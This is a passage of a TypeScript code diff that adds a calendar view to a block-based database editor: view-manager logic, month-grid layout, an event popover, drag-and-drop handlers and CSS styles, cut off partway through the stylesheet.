rowId: row.rowId,
title,
startAt,
endAt: isValidTimestamp(endAt) && endAt >= startAt ? endAt : undefined,
titleSegments,
cardProperties,
canResizeRange: endMapping.status === 'ready' && !this.readonly$.value,
} satisfies CalendarRowEntry;
});
});
entries$ = computed<CalendarEntry[]>(() => {
return [...this.rowEntries$.value, ...this.externalEntries$.value];
});
externalSources$ = computed<CalendarExternalSource[]>(() => {
const viewData = this.data$.value;
if (!viewData) {
return [];
}
return getCalendarExternalSources(this.dataSource, viewData);
});
get type(): string {
return this.data$.value?.mode ?? 'calendar';
}
constructor(viewManager: ViewManager, viewId: string) {
super(viewManager, viewId);
}
isShow(rowId: string): boolean {
if (this.filter$.value.conditions.length) {
const rowMap = Object.fromEntries(
this.propertiesRaw$.value.map(column => [
column.id,
column.cellGetOrCreate(rowId).jsonValue$.value,
])
);
return evalFilter(this.filter$.value, rowMap);
}
return true;
}
override rowsMapping(rows: Row[]) {
return this.sortManager.sort(super.rowsMapping(rows));
}
propertyGetOrCreate(propertyId: string): CalendarProperty {
return new CalendarProperty(this, propertyId);
}
override rowGetOrCreate(rowId: string): CalendarRow {
return new CalendarRow(this, rowId);
}
setStartDateColumn(propertyId: string) {
this.dataUpdate(data => ({
date: {
...getDateData(data),
startColumnId: propertyId,
},
}));
}
setDateColumn(propertyId: string) {
this.setStartDateColumn(propertyId);
}
setEndDateColumn(propertyId: string | undefined) {
this.dataUpdate(data => ({
date: {
...getDateData(data),
endColumnId: propertyId,
},
}));
}
setWorkspaceCalendarEnabled(enabled: boolean) {
this.dataUpdate(data => ({
sources: {
...data.sources,
workspaceCalendar: {
...(data.sources?.workspaceCalendar ?? { enabled: true }),
enabled,
},
},
}));
}
setWorkspaceCalendarSubscriptionIds(subscriptionIds?: string[]) {
this.dataUpdate(data => ({
sources: {
...data.sources,
workspaceCalendar: {
...(data.sources?.workspaceCalendar ?? { enabled: true }),
subscriptionIds,
},
},
}));
}
dismissEmptyMonthHint() {
this.dataUpdate(data => ({
ui: {
...data.ui,
emptyMonthHintDismissed: true,
},
}));
}
getDocDisplayTitle(docId: string) {
return (
this.manager.dataSource.serviceGet(DocDisplayMetaProvider)?.title(docId)
.value ?? 'Untitled'
);
}
createStartDateColumn() {
const id = this.propertyAdd('end', {
type: 'date',
name: 'Date',
});
if (id) {
this.setStartDateColumn(id);
}
return id;
}
createDateColumn() {
return this.createStartDateColumn();
}
createEndDateColumn() {
const id = this.propertyAdd('end', {
type: 'date',
name: 'End Date',
});
if (id) {
this.setEndDateColumn(id);
}
return id;
}
createRowOnDate(date: number | Date) {
const mapping = this.startDateMapping$.value;
if (mapping.status !== 'ready') {
return;
}
const rowId = this.rowAdd('end');
const filter = this.filter$.value;
if (filter.conditions.length > 0) {
const defaultValues = generateDefaultValues(filter, this.vars$.value);
Object.entries(defaultValues).forEach(([propertyId, jsonValue]) => {
const property = this.propertyGetOrCreate(propertyId);
const propertyMeta = property.meta$.value;
if (propertyMeta) {
const value = fromJson(propertyMeta.config, {
value: jsonValue,
data: property.data$.value,
dataSource: this.dataSource,
});
this.cellGetOrCreate(rowId, propertyId).valueSet(value);
}
});
}
this.cellGetOrCreate(rowId, mapping.propertyId).jsonValueSet(
toTimestamp(date)
);
this.dismissEmptyMonthHint();
return rowId;
}
createLinkedDocRowOnDate(date: number | Date, docId: string) {
const rowId = this.createRowOnDate(date);
if (!rowId) return;
const titleColumn = this.mainProperties$.value.titleColumn ?? 'title';
this.cellGetOrCreate(rowId, titleColumn).valueSet(
createLinkedDocTitle(docId)
);
return rowId;
}
moveRowToDate(rowId: string, date: number | Date) {
const mapping = this.startDateMapping$.value;
if (mapping.status !== 'ready') {
return;
}
const value = toTimestamp(date);
const oldStartAt = this.cellGetOrCreate(rowId, mapping.propertyId)
.jsonValue$.value;
const endMapping = this.endDateMapping$.value;
if (endMapping.status === 'ready' && isValidTimestamp(oldStartAt)) {
const oldEndAt = this.cellGetOrCreate(rowId, endMapping.propertyId)
.jsonValue$.value;
if (isValidTimestamp(oldEndAt) && oldEndAt >= oldStartAt) {
this.cellGetOrCreate(rowId, endMapping.propertyId).jsonValueSet(
value + (oldEndAt - oldStartAt)
);
}
}
this.cellGetOrCreate(rowId, mapping.propertyId).jsonValueSet(value);
}
resizeRowRange(rowId: string, edge: 'start' | 'end', date: number | Date) {
const startMapping = this.startDateMapping$.value;
const endMapping = this.endDateMapping$.value;
if (startMapping.status !== 'ready' || endMapping.status !== 'ready') {
return;
}
const startCell = this.cellGetOrCreate(rowId, startMapping.propertyId);
const endCell = this.cellGetOrCreate(rowId, endMapping.propertyId);
const startAt = startCell.jsonValue$.value;
const endAt = endCell.jsonValue$.value;
if (!isValidTimestamp(startAt) || !isValidTimestamp(endAt)) {
return;
}
const value = toTimestamp(date);
if (edge === 'start') {
startCell.jsonValueSet(Math.min(value, endAt));
} else {
endCell.jsonValueSet(Math.max(value, startAt));
}
}
async loadExternalEntries(range: CalendarEntryRange) {
const requestId = ++this.externalEntriesRequestId;
const viewData = this.data$.value;
if (!viewData) {
this.externalEntries$.value = [];
return [];
}
const results = await Promise.allSettled(
this.externalSources$.value.map(source =>
Promise.resolve(source.getEntries(range))
)
);
const entries = results.flatMap(result =>
result.status === 'fulfilled' ? result.value : []
);
if (requestId === this.externalEntriesRequestId) {
this.externalEntries$.value = entries;
}
return entries;
}
}
export class CalendarProperty extends PropertyBase {
hide$ = computed(() => false);
constructor(view: CalendarSingleView, propertyId: string) {
super(view as SingleView, propertyId);
}
hideSet(_hide: boolean): void {}
move(_position: InsertToPosition): void {}
}
export class CalendarRow extends RowBase {
constructor(
readonly calendarView: CalendarSingleView,
rowId: string
) {
super(calendarView, rowId);
}
}
@@ -0,0 +1,34 @@
import { viewType } from '../../core/view/data-view.js';
import { CalendarSingleView } from './calendar-view-manager.js';
import type { CalendarViewData } from './types.js';
export const calendarViewType = viewType('calendar');
export const calendarViewModel = calendarViewType.createModel<CalendarViewData>(
{
defaultName: 'Calendar View',
dataViewManager: CalendarSingleView,
defaultData: viewManager => {
return {
filter: {
type: 'group',
op: 'and',
conditions: [],
},
date: {},
card: {
titleColumnId: viewManager.dataSource.properties$.value.find(
id => viewManager.dataSource.propertyTypeGet(id) === 'title'
),
visiblePropertyIds: [],
},
sources: {
workspaceCalendar: {
enabled: true,
},
},
ui: {},
};
},
}
);
@@ -0,0 +1,5 @@
import { pcEffects } from './pc/effect.js';
export function calendarEffects() {
pcEffects();
}
@@ -0,0 +1,6 @@
export * from './calendar-view-manager.js';
export * from './define.js';
export * from './layout.js';
export * from './renderer.js';
export * from './source.js';
export * from './types.js';
@@ -0,0 +1,250 @@
import type { CalendarEntry } from './types.js';
export type CalendarDayLayout = {
date: number;
inMonth: boolean;
entries: CalendarEntry[];
segments: CalendarRangeSegment[];
};
export type CalendarRangeSegment = {
entry: CalendarEntry;
weekIndex: number;
startIndex: number;
span: number;
slot: number;
startsBeforeWeek: boolean;
endsAfterWeek: boolean;
};
export type CalendarMonthLayout = {
from: number;
to: number;
weeks: CalendarDayLayout[][];
days: CalendarDayLayout[];
segments: CalendarRangeSegment[];
};
export type CalendarMonthLayoutOptions = {
month: number | Date;
entries: CalendarEntry[];
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6;
};
const startOfDay = (date: Date) =>
new Date(date.getFullYear(), date.getMonth(), date.getDate()).getTime();
const addDays = (date: number, days: number) => {
const current = new Date(date);
return startOfDay(
new Date(
current.getFullYear(),
current.getMonth(),
current.getDate() + days
)
);
};
const endOfDay = (date: number) => addDays(date, 1) - 1;
const toDate = (value: number | Date) =>
value instanceof Date ? value : new Date(value);
export const getCalendarVisibleMonthRange = (
month: number | Date,
weekStartsOn: 0 | 1 | 2 | 3 | 4 | 5 | 6 = 0
) => {
const cursor = toDate(month);
const monthStart = new Date(cursor.getFullYear(), cursor.getMonth(), 1);
const monthEnd = new Date(cursor.getFullYear(), cursor.getMonth() + 1, 0);
const startOffset = (monthStart.getDay() - weekStartsOn + 7) % 7;
const endOffset = (weekStartsOn + 6 - monthEnd.getDay() + 7) % 7;
const from = startOfDay(
new Date(
monthStart.getFullYear(),
monthStart.getMonth(),
monthStart.getDate() - startOffset
)
);
const to = endOfDay(
startOfDay(
new Date(
monthEnd.getFullYear(),
monthEnd.getMonth(),
monthEnd.getDate() + endOffset
)
)
);
return {
from,
to,
monthStart: startOfDay(monthStart),
monthEnd: endOfDay(startOfDay(monthEnd)),
};
};
const isRangeEntry = (entry: CalendarEntry) =>
entry.endAt != null &&
getRangeEndDay(entry) > startOfDay(new Date(entry.startAt));
const getRangeEndDay = (entry: CalendarEntry) => {
const endAt = entry.endAt ?? entry.startAt;
const end = new Date(endAt);
if (
entry.kind === 'external' &&
entry.allDay &&
endAt > entry.startAt &&
end.getHours() === 0 &&
end.getMinutes() === 0 &&
end.getSeconds() === 0 &&
end.getMilliseconds() === 0
) {
return addDays(startOfDay(end), -1);
}
return startOfDay(end);
};
const clamp = (value: number, min: number, max: number) =>
Math.min(Math.max(value, min), max);
const getDayOffset = (days: CalendarDayLayout[], date: number) =>
days.findIndex(day => day.date === date);
const assignSegmentSlots = (
weeks: CalendarDayLayout[][],
segments: CalendarRangeSegment[]
) => {
for (let weekIndex = 0; weekIndex < weeks.length; weekIndex++) {
const weekSegments = segments.filter(
segment => segment.weekIndex === weekIndex
);
const slots: boolean[][] = [];
for (const segment of weekSegments) {
let slot = 0;
while (
slots[slot]?.some(
(occupied, index) =>
occupied &&
index >= segment.startIndex &&
index < segment.startIndex + segment.span
)
) {
slot++;
}
const slotDays = (slots[slot] ??= Array.from({ length: 7 }, () => false));
for (
let index = segment.startIndex;
index < segment.startIndex + segment.span;
index++
) {
slotDays[index] = true;
}
segment.slot = slot;
}
}
};
export const getCalendarDaySegmentSlots = (
day: CalendarDayLayout,
ignoredEntryId?: string
) => {
return Math.max(
0,
...day.segments
.filter(segment => segment.entry.id !== ignoredEntryId)
.map(segment => segment.slot + 1)
);
};
export const getCalendarDayContentSlots = (
day: CalendarDayLayout,
ignoredEntryId?: string
) => {
return (
getCalendarDaySegmentSlots(day, ignoredEntryId) +
day.entries.filter(entry => entry.id !== ignoredEntryId).length
);
};
export const createCalendarMonthLayout = ({
month,
entries,
weekStartsOn = 0,
}: CalendarMonthLayoutOptions): CalendarMonthLayout => {
const range = getCalendarVisibleMonthRange(month, weekStartsOn);
const cursor = toDate(month);
const days: CalendarDayLayout[] = [];
const dayByTime = new Map<number, CalendarDayLayout>();
for (let date = range.from; date <= range.to; date = addDays(date, 1)) {
const day: CalendarDayLayout = {
date,
inMonth:
new Date(date).getMonth() === cursor.getMonth() &&
new Date(date).getFullYear() === cursor.getFullYear(),
entries: [],
segments: [],
};
days.push(day);
dayByTime.set(date, day);
}
for (const entry of entries) {
if (isRangeEntry(entry)) {
continue;
}
const day = dayByTime.get(startOfDay(new Date(entry.startAt)));
if (day) {
day.entries.push(entry);
}
}
const segments: CalendarRangeSegment[] = [];
const rangeEntries = entries.filter(isRangeEntry);
const visibleEndDay = startOfDay(new Date(range.to));
for (const entry of rangeEntries) {
const entryStart = startOfDay(new Date(entry.startAt));
const entryEnd = getRangeEndDay(entry);
if (entryEnd < range.from || entryStart > visibleEndDay) {
continue;
}
const start = clamp(entryStart, range.from, visibleEndDay);
const end = clamp(entryEnd, range.from, visibleEndDay);
const startOffset = getDayOffset(days, start);
const endOffset = getDayOffset(days, end);
if (startOffset < 0 || endOffset < 0) {
continue;
}
let offset = startOffset;
while (offset <= endOffset) {
const weekIndex = Math.floor(offset / 7);
const startIndex = offset % 7;
const weekEndOffset = weekIndex * 7 + 6;
const span = Math.min(endOffset, weekEndOffset) - offset + 1;
const segment = {
entry,
weekIndex,
startIndex,
span,
slot: 0,
startsBeforeWeek: startOffset < weekIndex * 7,
endsAfterWeek: endOffset > weekEndOffset,
};
segments.push(segment);
for (let index = 0; index < span; index++) {
days[offset + index]?.segments.push(segment);
}
offset += span;
}
}
const weeks: CalendarDayLayout[][] = [];
for (let index = 0; index < days.length; index += 7) {
weeks.push(days.slice(index, index + 7));
}
assignSegmentSlots(weeks, segments);
return { from: range.from, to: range.to, weeks, days, segments };
};
@@ -0,0 +1,87 @@
import {
popMenu,
popupTargetFromElement,
} from '@blocksuite/affine-components/context-menu';
import {
CalendarPanelIcon,
DateTimeIcon,
PinIcon,
TextIcon,
} from '@blocksuite/icons/lit';
import { html } from 'lit';
import type { DataViewRootUILogic } from '../../../core/data-view.js';
import type { CalendarSingleView } from '../calendar-view-manager.js';
import type { CalendarEntry } from '../types.js';
const dateTimeFormatter = new Intl.DateTimeFormat(undefined, {
dateStyle: 'medium',
timeStyle: 'short',
});
const dateFormatter = new Intl.DateTimeFormat(undefined, {
dateStyle: 'medium',
});
export const formatEntryTime = (entry: CalendarEntry) => {
const formatter = entry.allDay ? dateFormatter : dateTimeFormatter;
const start = formatter.format(new Date(entry.startAt));
if (!entry.endAt) {
return start;
}
return `${start} - ${formatter.format(new Date(entry.endAt))}`;
};
export const openCalendarEntry = (
root: DataViewRootUILogic,
view: CalendarSingleView,
entry: CalendarEntry,
target: HTMLElement,
options?: { selectEntry?: (entryId: string | undefined) => void }
) => {
if (entry.kind === 'row') {
options?.selectEntry?.(entry.id);
root.openDetailPanel({
view,
rowId: entry.rowId,
onClose: () => options?.selectEntry?.(undefined),
});
return;
}
popMenu(popupTargetFromElement(target), {
options: {
items: [
() => html`
<div class="calendar-event-popover">
<div class="calendar-event-popover-title">${entry.title}</div>
<div class="calendar-event-popover-row">
<span class="calendar-event-popover-icon"
>${CalendarPanelIcon()}</span
>
<span>${entry.calendarName ?? 'Calendar event'}</span>
</div>
<div class="calendar-event-popover-row">
<span class="calendar-event-popover-icon">${DateTimeIcon()}</span>
<span>${formatEntryTime(entry)}</span>
</div>
${entry.location
? html`<div class="calendar-event-popover-row">
<span class="calendar-event-popover-icon">${PinIcon()}</span>
<span>${entry.location}</span>
</div>`
: ''}
${entry.description
? html`<div class="calendar-event-popover-row">
<span class="calendar-event-popover-icon">${TextIcon()}</span>
<span class="calendar-event-popover-description"
>${entry.description}</span
>
</div>`
: ''}
</div>
`,
],
},
});
};
@@ -0,0 +1,244 @@
import type { DndController } from '@blocksuite/std';
import type { CalendarEntry, CalendarRowEntry } from '../types.js';
import { getCalendarDateFromPoint } from './hit-test.js';
export type CalendarDndEntity =
| {
type: 'calendar-entry';
entryId: string;
}
| {
type: 'doc';
docId: string;
};
type CalendarDndData = {
bsEntity?: unknown;
entity?: unknown;
};
const isRecord = (value: unknown): value is Record<string, unknown> =>
typeof value === 'object' && value !== null;
export const getCalendarDndEntity = (
data: unknown
): CalendarDndEntity | undefined => {
if (!isRecord(data)) {
return;
}
const bsEntity = (data as CalendarDndData).bsEntity;
if (isRecord(bsEntity)) {
if (
bsEntity.type === 'calendar-entry' &&
typeof bsEntity.entryId === 'string'
) {
return {
type: 'calendar-entry',
entryId: bsEntity.entryId,
};
}
if (bsEntity.type === 'doc' && typeof bsEntity.docId === 'string') {
return {
type: 'doc',
docId: bsEntity.docId,
};
}
}
const entity = (data as CalendarDndData).entity;
if (
isRecord(entity) &&
entity.type === 'doc' &&
typeof entity.id === 'string'
) {
return {
type: 'doc',
docId: entity.id,
};
}
return;
};
export type CalendarDndCallbacks = {
getEntry: (entryId: string) => CalendarEntry | undefined;
canDragEntry: () => boolean;
canDrop: (entity: CalendarDndEntity) => boolean;
onEntryDragStart: (entry: CalendarRowEntry) => void;
onEntryDragEnd: () => void;
onDropTargetChange: (
date: number | undefined,
entity?: CalendarDndEntity
) => void;
onDrop: (entity: CalendarDndEntity, date: number) => void;
};
type ElementCleanup = {
element: HTMLElement;
cleanup: () => void;
};
export class CalendarDnd {
private readonly entryCleanups = new Map<string, ElementCleanup>();
private rootCleanup?: ElementCleanup;
constructor(
private readonly dnd: DndController | undefined,
private readonly callbacks: CalendarDndCallbacks
) {}
bindRoot(element?: Element) {
if (!this.dnd || !(element instanceof HTMLElement)) {
this.cleanupRoot();
return;
}
if (this.rootCleanup?.element === element) {
return;
}
this.cleanupRoot();
const cleanup = this.dnd.dropTarget<CalendarDndEntity, { date?: number }>({
element,
getIsSticky: () => true,
setDropData: ({ input }) => ({
date: getCalendarDateFromPoint(element, input.clientX, input.clientY),
}),
canDrop: ({ source, input }) => {
const entity = getCalendarDndEntity(source.data);
const date = getCalendarDateFromPoint(
element,
input.clientX,
input.clientY
);
return entity && date !== undefined
? this.callbacks.canDrop(entity)
: false;
},
onDrag: ({ source, location }) => {
this.updateDropTarget(element, source.data, location.current.input);
},
onDragEnter: ({ source, location }) => {
this.updateDropTarget(element, source.data, location.current.input);
},
onDragLeave: () => {
this.callbacks.onDropTargetChange(undefined);
},
onDrop: ({ source, location }) => {
const entity = getCalendarDndEntity(source.data);
const date = getCalendarDateFromPoint(
element,
location.current.input.clientX,
location.current.input.clientY
);
if (entity && date !== undefined && this.callbacks.canDrop(entity)) {
this.callbacks.onDrop(entity, date);
}
this.callbacks.onDropTargetChange(undefined);
},
});
this.rootCleanup = { element, cleanup };
}
bindEntry(
key: string,
entry: CalendarEntry,
element?: Element,
disabled = false
) {
if (
!this.dnd ||
!(element instanceof HTMLElement) ||
entry.kind !== 'row' ||
disabled
) {
this.cleanupEntry(key);
if (element instanceof HTMLElement) {
element.setAttribute('draggable', 'false');
}
return;
}
const current = this.entryCleanups.get(key);
if (current?.element === element) {
return;
}
this.cleanupEntry(key);
const cleanup = this.dnd.draggable<CalendarDndEntity>({
element,
canDrag: () => {
const currentEntry = this.callbacks.getEntry(entry.id);
return currentEntry?.kind === 'row'
? this.callbacks.canDragEntry()
: false;
},
setDragData: () => ({
type: 'calendar-entry',
entryId: entry.id,
}),
setDragPreview: ({ container, setOffset }) => {
const currentEntry = this.callbacks.getEntry(entry.id);
const preview = document.createElement('div');
preview.textContent = currentEntry?.title || 'Untitled';
preview.style.cssText =
'padding:0 6px;height:22px;line-height:22px;border-radius:4px;' +
'font-size:12px;white-space:nowrap;overflow:hidden;' +
'background:var(--affine-hover-color,#f5f5f5);' +
'color:var(--affine-text-primary-color,#333);' +
'max-width:140px;text-overflow:ellipsis;pointer-events:none;';
container.append(preview);
setOffset({ x: 10, y: 11 });
},
onDragStart: () => {
const currentEntry = this.callbacks.getEntry(entry.id);
if (currentEntry?.kind === 'row') {
this.callbacks.onEntryDragStart(currentEntry);
}
},
onDrop: () => {
this.callbacks.onEntryDragEnd();
},
});
this.entryCleanups.set(key, { element, cleanup });
}
cleanup() {
this.cleanupRoot();
for (const key of this.entryCleanups.keys()) {
this.cleanupEntry(key);
}
}
private cleanupEntry(key: string) {
this.entryCleanups.get(key)?.cleanup();
this.entryCleanups.delete(key);
}
private cleanupRoot() {
this.rootCleanup?.cleanup();
this.rootCleanup = undefined;
}
private updateDropTarget(
root: HTMLElement,
data: unknown,
input: {
clientX: number;
clientY: number;
}
) {
const entity = getCalendarDndEntity(data);
const date = getCalendarDateFromPoint(root, input.clientX, input.clientY);
if (entity && date !== undefined && this.callbacks.canDrop(entity)) {
this.callbacks.onDropTargetChange(date, entity);
} else {
this.callbacks.onDropTargetChange(undefined);
}
}
}
@@ -0,0 +1,8 @@
import { CalendarViewUI } from './view.js';
export function pcEffects() {
if (customElements.get('affine-data-view-calendar')) {
return;
}
customElements.define('affine-data-view-calendar', CalendarViewUI);
}
@@ -0,0 +1,38 @@
export const getCalendarDateFromPoint = (
root: HTMLElement,
clientX: number,
clientY: number
) => {
const doc = root.ownerDocument;
const hitStack = doc.elementsFromPoint(clientX, clientY);
for (const element of hitStack) {
const day = element.closest<HTMLElement>('.calendar-day[data-date]');
if (day && root.contains(day)) {
return Number(day.dataset['date']);
}
}
for (const element of hitStack) {
const week =
element.closest<HTMLElement>('.calendar-week') ??
element.closest<HTMLElement>('.calendar-segments')?.parentElement;
if (week && root.contains(week)) {
const days = week.querySelectorAll<HTMLElement>('.calendar-day');
for (const day of days) {
const rect = day.getBoundingClientRect();
if (
clientX >= rect.left &&
clientX < rect.right &&
clientY >= rect.top &&
clientY < rect.bottom &&
day.dataset['date']
) {
return Number(day.dataset['date']);
}
}
}
}
return;
};
@@ -0,0 +1,708 @@
import { css } from 'lit';
export const calendarViewStyles = css`
affine-data-view-calendar {
display: block;
width: 100%;
max-width: 100%;
box-sizing: border-box;
--calendar-entry-height: 22px;
--calendar-entry-gap: 3px;
--calendar-entry-slot-height: calc(
var(--calendar-entry-height) + var(--calendar-entry-gap)
);
--calendar-grid-border-color: color-mix(
in srgb,
var(--affine-border-color) 58%,
transparent
);
--calendar-entry-bg: color-mix(
in srgb,
var(--affine-primary-color) 12%,
var(--affine-background-primary-color)
);
--calendar-entry-hover-bg: color-mix(
in srgb,
var(--affine-primary-color) 18%,
var(--affine-background-primary-color)
);
--calendar-entry-text-color: color-mix(
in srgb,
var(--affine-primary-color) 72%,
var(--affine-text-primary-color)
);
--calendar-external-fallback-color: #b45309;
}
.calendar-scroll {
width: 100%;
overflow-x: auto;
overflow-y: hidden;
}
.calendar-shell {
position: relative;
min-width: 720px;
padding: 0 0 12px;
}
.calendar-toolbar {
display: flex;
align-items: center;
justify-content: space-between;
height: 36px;
margin-bottom: 8px;
}
.calendar-title {
color: var(--affine-text-primary-color);
font-size: 15px;
font-weight: 600;
}
.calendar-nav {
display: flex;
gap: 6px;
}
.calendar-nav button,
.calendar-setup button {
display: inline-flex;
align-items: center;
justify-content: center;
gap: 6px;
border: 1px solid var(--affine-border-color);
border-radius: 6px;
background: var(--affine-background-primary-color);
color: var(--affine-text-primary-color);
height: 28px;
padding: 5px 10px;
cursor: pointer;
font-size: 12px;
font-weight: 500;
line-height: 20px;
white-space: nowrap;
}
.calendar-nav button svg,
.calendar-setup button svg,
.calendar-new-row svg,
.calendar-empty-month-hint-action svg,
.calendar-empty-month-hint-close svg {
width: 16px;
height: 16px;
color: var(--affine-icon-secondary);
flex: 0 0 auto;
}
.calendar-nav .calendar-icon-button {
width: 28px;
padding: 5px;
}
.calendar-nav .calendar-today-button {
color: var(--affine-primary-color);
}
.calendar-weekdays,
.calendar-week {
display: grid;
grid-template-columns: repeat(7, minmax(0, 1fr));
}
.calendar-week {
position: relative;
}
.calendar-segments {
position: absolute;
left: 0;
right: 0;
top: 30px;
display: grid;
grid-template-columns: repeat(7, minmax(0, 1fr));
grid-auto-rows: var(--calendar-entry-slot-height);
row-gap: 0;
column-gap: 0;
padding: 0;
pointer-events: none;
}
.calendar-segments .calendar-entry {
align-self: start;
height: var(--calendar-entry-height);
box-sizing: border-box;
pointer-events: auto;
margin: 0 6px;
}
.calendar-segments .calendar-entry-preview {
align-self: start;
pointer-events: none;
margin: 0 6px;
}
.calendar-weekday {
color: var(--affine-text-secondary-color);
font-size: 12px;
padding: 4px 6px;
user-select: none;
-webkit-user-select: none;
}
.calendar-grid {
border-top: 1px solid var(--calendar-grid-border-color);
border-left: 1px solid var(--calendar-grid-border-color);
}
.calendar-day {
position: relative;
min-height: 112px;
border-right: 1px solid var(--calendar-grid-border-color);
border-bottom: 1px solid var(--calendar-grid-border-color);
padding: 6px;
}
.calendar-day.is-outside {
background: color-mix(
in srgb,
var(--affine-background-secondary-color) 55%,
var(--affine-background-primary-color)
);
}
.calendar-day:not(.is-outside):hover {
background: color-mix(
in srgb,
var(--affine-primary-color) 2%,
var(--affine-background-primary-color)
);
}
.calendar-day.is-drop-target {
box-shadow: inset 0 0 0 1px var(--affine-primary-color);
background: color-mix(in srgb, var(--affine-primary-color) 8%, transparent);
}
.calendar-day.is-today {
background: color-mix(
in srgb,
var(--affine-primary-color) 6%,
var(--affine-background-primary-color)
);
}
.calendar-day-number {
display: flex;
align-items: center;
justify-content: center;
width: max-content;
min-width: 20px;
height: 20px;
padding: 0 2px;
border-radius: 4px;
color: var(--affine-text-secondary-color);
font-size: 12px;
line-height: 18px;
margin-bottom: 4px;
user-select: none;
-webkit-user-select: none;
}
.calendar-day:not(.is-outside) .calendar-day-number {
color: var(--affine-text-primary-color);
}
.calendar-day.is-outside .calendar-day-number {
color: color-mix(
in srgb,
var(--affine-text-secondary-color) 60%,
transparent
);
}
.calendar-day.is-today .calendar-day-number {
color: var(--affine-primary-color);
font-weight: 600;
}
.calendar-day.is-today:hover {
background: color-mix(
in srgb,
var(--affine-primary-color) 9%,
var(--affine-background-primary-color)
);
}
.calendar-entry {
position: relative;
display: flex;
align-items: center;
gap: 4px;
min-height: var(--calendar-entry-height);
margin-top: var(--calendar-entry-gap);
padding: 0 6px;
border-radius: 4px;
color: var(--calendar-entry-text-color);
background: var(--calendar-entry-bg);
font-size: 12px;
line-height: 18px;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
cursor: pointer;
}
.calendar-nav button:hover,
.calendar-setup button:hover {
background: var(--affine-hover-color);
}
.calendar-entry.row:hover {
background: var(--calendar-entry-hover-bg);
}
.calendar-entry:focus-visible {
outline: 1px solid var(--affine-primary-color);
outline-offset: 1px;
}
.calendar-entry.external:hover {
opacity: 0.9;
}
.calendar-entry.selected {
box-shadow: inset 0 0 0 1px var(--affine-primary-color);
background: color-mix(
in srgb,
var(--affine-primary-color) 15%,
var(--calendar-entry-bg)
);
}
.calendar-entry.continues-left {
border-top-left-radius: 0;
border-bottom-left-radius: 0;
}
.calendar-entry.continues-right {
border-top-right-radius: 0;
border-bottom-right-radius: 0;
}
.calendar-entry-title {
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
}
.calendar-entry-title.is-empty {
color: var(--affine-text-secondary-color);
}
.calendar-entry-title.title-segments {
display: inline-flex;
align-items: center;
gap: 2px;
}
.calendar-entry-title-segment {
display: inline-flex;
align-items: center;
min-width: 0;
}
.calendar-entry-title-segment.linked-doc-segment {
gap: 3px;
min-width: 14px;
}
.calendar-entry-title-segment.linked-doc-segment svg {
width: 14px;
height: 14px;
flex: 0 0 auto;
}
.calendar-entry-title-text {
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
}
.calendar-entry-title-segment.linked-doc-segment .calendar-entry-title-text {
flex-shrink: 1;
}
.calendar-entry-properties {
display: inline-flex;
gap: 3px;
min-width: 0;
}
.calendar-entry-property {
max-width: 72px;
padding: 1px 6px;
border-radius: 4px;
background: color-mix(in srgb, var(--affine-pure-white) 80%, transparent);
color: var(--affine-text-primary-color);
font-size: 10px;
font-weight: 500;
line-height: 14px;
overflow: hidden;
text-overflow: ellipsis;
}
.calendar-entry.external {
color: var(--affine-pure-white);
background: var(
--calendar-external-color,
var(--calendar-external-fallback-color)
);
}
.calendar-entry[draggable='true'] {
cursor: grab;
}
.calendar-entry[draggable='true']:active {
opacity: 0.7;
}
.calendar-resize-handle {
display: none;
position: absolute;
top: 0;
bottom: 0;
width: 6px;
cursor: ew-resize;
z-index: 1;
}
.calendar-resize-handle.left {
left: 0;
border-radius: 4px 0 0 4px;
}
.calendar-resize-handle.right {
right: 0;
border-radius: 0 4px 4px 0;
}
.calendar-resize-handle::after {
content: '';
position: absolute;
top: 50%;
left: 50%;
width: 2px;
height: 10px;
transform: translate(-50%, -50%);
border-radius: 1px;
background: var(--affine-icon-secondary);
}
.calendar-resize-handle:hover::after {
background: var(--affine-primary-color);
}
.calendar-entry:hover .calendar-resize-handle {
display: block;
}
.calendar-entry-preview {
display: flex;
align-items: center;
gap: 4px;
min-height: var(--calendar-entry-height);
height: var(--calendar-entry-height);
margin-top: var(--calendar-entry-gap);
padding: 0 6px;
box-sizing: border-box;
border-radius: 4px;
border: 1.5px dashed var(--affine-primary-color);
background: color-mix(in srgb, var(--affine-primary-color) 6%, transparent);
color: var(--affine-primary-color);
font-size: 12px;
line-height: 18px;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
pointer-events: none;
}
.calendar-entry-preview svg {
width: 14px;
height: 14px;
flex: 0 0 auto;
}
.calendar-entry-preview.continues-left {
border-top-left-radius: 0;
border-bottom-left-radius: 0;
border-left: none;
padding-left: 6px;
}
.calendar-entry-preview.continues-right {
border-top-right-radius: 0;
border-bottom-right-radius: 0;
border-right: none;
padding-right: 6px;
}
.calendar-day-entries > .calendar-entry:first-child,
.calendar-day-entries > .calendar-entry-preview:first-child {
margin-top: 0;
}
.calendar-day-entries {
padding-top: calc(
var(--calendar-segment-slots, 0) * var(--calendar-entry-slot-height)
);
}
.calendar-new-row {
display: inline-flex;
align-items: center;
justify-content: center;
gap: 4px;
width: 100%;
height: 24px;
margin-top: 3px;
border: 0;
border-radius: 5px;
background: transparent;
color: var(--affine-primary-color);
font-size: 12px;
font-weight: 500;
line-height: 18px;
padding: 3px 8px;
opacity: 0;
cursor: pointer;
box-sizing: border-box;
transition:
opacity 0.1s ease,
background 0.1s ease;
}
.calendar-new-row svg,
.calendar-empty-month-hint-action svg {
width: 14px;
height: 14px;
color: var(--affine-primary-color);
}
.calendar-day:hover .calendar-new-row,
.calendar-new-row:focus-visible {
opacity: 1;
}
.calendar-day:hover .calendar-new-row {
background: color-mix(
in srgb,
var(--affine-primary-color) 10%,
var(--affine-background-primary-color)
);
}
.calendar-day:hover .calendar-new-row:disabled,
.calendar-day.is-today:hover .calendar-new-row:disabled,
.calendar-new-row:disabled {
background: transparent;
opacity: 0;
pointer-events: none;
}
.calendar-day.is-today:hover .calendar-new-row,
.calendar-day.is-today .calendar-new-row:focus-visible {
background: var(--affine-primary-color);
color: var(--affine-pure-white);
}
.calendar-day.is-today .calendar-new-row:hover {
background: color-mix(
in srgb,
var(--affine-primary-color) 88%,
var(--affine-pure-white)
);
}
.calendar-day.is-today:hover .calendar-new-row svg,
.calendar-day.is-today .calendar-new-row:focus-visible svg {
color: var(--affine-pure-white);
}
.calendar-new-row:hover {
background: color-mix(
in srgb,
var(--affine-primary-color) 16%,
